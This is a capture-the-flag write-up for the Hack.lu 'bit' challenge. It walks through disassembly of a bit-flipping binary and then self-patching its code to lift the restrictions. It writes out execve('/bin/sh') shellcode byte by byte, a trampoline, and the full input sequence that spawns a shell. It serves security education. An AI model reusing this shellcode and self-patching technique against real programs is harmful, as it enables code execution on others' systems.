This year I had a little time to solve few challenges of the Hack.lu CTF. I am going to explain in this article how I solved the bit challenge.

First look

In the main function we see that the program does a scanf with the fmt parameter as %lx:%u so it expects a long in hexadecimal format and an unsigned int. So the input expected by scanf will be like 0xdeadbeef:42.

The two values are stored respectively at adresses 0x601018 and 0x601020

0x0040066d  mov edx, 0x601020           ; address
0x00400672  mov esi, 0x601018           ; uint
0x00400677  mov edi, str._lx:_u         ; 0x4007d4 ; "%lx:%u"
0x0040067c  mov eax, 0
0x00400681  call sym.imp.__isoc99_scanf

We see that those two values are used to do several things. First there is a check on the uint if it is greater than 7 the programs ends.

0x00400695  mov eax, dword [0x00601020] ; uint
0x0040069b  cmp eax, 7                  ; 7

Then we see that the address is used as a parameter to mprotect with RWX rights

0x004006a7  mov rax, qword [0x00601018]   ; address
0x004006ae  and rax, 0xffffffffffff1000
0x004006b4  mov edx, 7                    ; prot = RWX
0x004006b9  mov esi, 0x1000               ; size = 0x1000
0x004006be  mov rdi, rax                  ; address & 0xffffffffffff1000
0x004006c1  call sym.imp.mprotect

Finally, the last important point, we see that the programs take the byte located at the address, XOR it with 0x1 << uint and replace it with the XORed value.

0x004006c6  mov rax, qword [0x00601018] ; rax = address
0x004006cd  mov rsi, rax
0x004006d0  mov rax, qword [0x00601018] ; rax = address
0x004006d7  mov rdx, qword [0x00601018] ; rdx = address
0x004006de  movzx edx, byte [rdx]       ; we take the byte at address and put it in edx
0x004006e1  mov ecx, dword [0x00601020] ; ecx = uint
0x004006e7  mov edi, 1
0x004006ec  shl edi, cl                 ; edi = 1 << uint
0x004006ee  mov ecx, edi                ; ecx = 1 << uint
0x004006f0  xor edx, ecx                ; edx = byte[address] XOR (1 << uint)
0x004006f2  mov byte [rax], dl          ; byte[address] = dl

After this, the permissions previously granted by mprotect are restored to RW and the program exits.

So, it means, we can write a byte somewhere in memory with some restrictions due to the check on uint and the XOR with 0x1 << uint.

Finding the hint

In order to find the proper place to replace the byte I used a simple bruteforce iterating over the memory space. For each address I tested values from 0 to 7 for the uint. This exercise is left to the reader.

After a couple of seconds we realize that the bruteforce hangs for input 0x40072a:4. After analysis in a gdb we realize that the we overwrite the je 0x400731 so that the program loops. So it hangs because it expects a new input. So we can now write multiple bytes in memory but still with some conditions.

Removing the restrictions

Since we can write unlimited bytes in the .text section of the running binary we can patch the code running and bypass the restrictions. The final objective is to write any byte anywhere in memory so that we can write a shellcode and jump on it. We are going to proceed in steps:

  1. Removing the restriction on the value of the uint
  2. Removing the boring XOR with 0x1 << uint

Hereafter is the input to provide in order to increase the value allowed for uint. We can now have a uint value up to 0xf3.

// cmp eax, 0x83
0x40069d:7
// cmp eax, 0xc3
0x40069d:6
// cmp eax, 0xe3
0x40069d:5
// cmp eax, 0xf3
0x40069d:4

Now lets make the program store directly uint at address to make our life easier. Before doing that we have to first change the value shifted with uint so that we can patch the code more easily.

// step needed for next move
// mov edi, 0x1 -> mov edi, 0x3
0x4006e8:1
// we don't store the value of the shift in ecx
// mov ecx, edi -> mov ecx, ecx
0x4006ef:4
// we write directly cl (uint) into memory
// mov byte [rax], dl -> mov byte [rax], cl
0x4006f3:24

At the end of these two steps, we can write any byte up to 0xf3 anywhere in memory. Before going on, let's just make the last mprotect inefficient so that we can then execute the shellcode.

// mov edx, 5 -> mov edx, 7 we keep the EXEC flag on the section
0x00400707:7

Exploit

Now we can write almost whatever we want everywhere, we just have to find a place to write our shellcode and jump on it.

After few attempts, I have noticed that writing the shellcode in section section..eh_frame works because it does not make the program crashing. There are probably other places to write it but since it works like this, why searching? :)

Writting the shellcode

// Shellcode execve("//bin/bash")
// \xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68
// \x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05
0x400810:247
0x400811:230
0x400812:82
0x400813:72
0x400814:187
0x400815:47
0x400816:98
0x400817:105
0x400818:110
0x400819:47
0x40081a:47
0x40081b:115
0x40081c:104
0x40081d:83
0x40081e:72
0x40081f:141
0x400820:60
0x400821:36
0x400822:176
0x400823:59
0x400824:15
0x400825:5

Now we have to find a way to jump on it. My idea is simple, write the trampoline just after the ret instruction of the main function and replace the ret by a nop when it is done.

// Trampoline to shellcode previously written @ 0x400810
// 0x400733 is just after the ret of the main function
// mov rax, 0x400810
// push rax
// ret
// \x48\xc7\xc0\x10\x08\x40\x00\x50\xc3
0x400733:72
0x400734:199
0x400735:192
0x400736:16
0x400737:8
0x400738:64
0x400739:0
0x40073a:80
0x40073b:195

And now we just have to replace the ret instruction of the main function and the code will reach our trampoline.

// Overwrite ret with nop
0x00400732:90

We are done, we should get a shell ... ;)

Putting all together

Providing the following input to the program should pop you a shell and give you an access to the flag.

0x40072a:4
0x40069d:7
0x40069d:6
0x40069d:5
0x40069d:4
0x4006e8:1
0x4006ef:4
0x4006f3:24
0x00400707:7
0x400810:247
0x400811:230
0x400812:82
0x400813:72
0x400814:187
0x400815:47
0x400816:98
0x400817:105
0x400818:110
0x400819:47
0x40081a:47
0x40081b:115
0x40081c:104
0x40081d:83
0x40081e:72
0x40081f:141
0x400820:60
0x400821:36
0x400822:176
0x400823:59
0x400824:15
0x400825:5
0x400733:72
0x400734:199
0x400735:192
0x400736:16
0x400737:8
0x400738:64
0x400739:0
0x40073a:80
0x40073b:195
0x00400732:90

If you want to understand every single input provided to the program you can attach a debugger on it and check the code of the binary after each input. According to the number of points attributed to this challenge I have the feeling that my solution is maybe too complex, but it works!

I hope you enjoyed.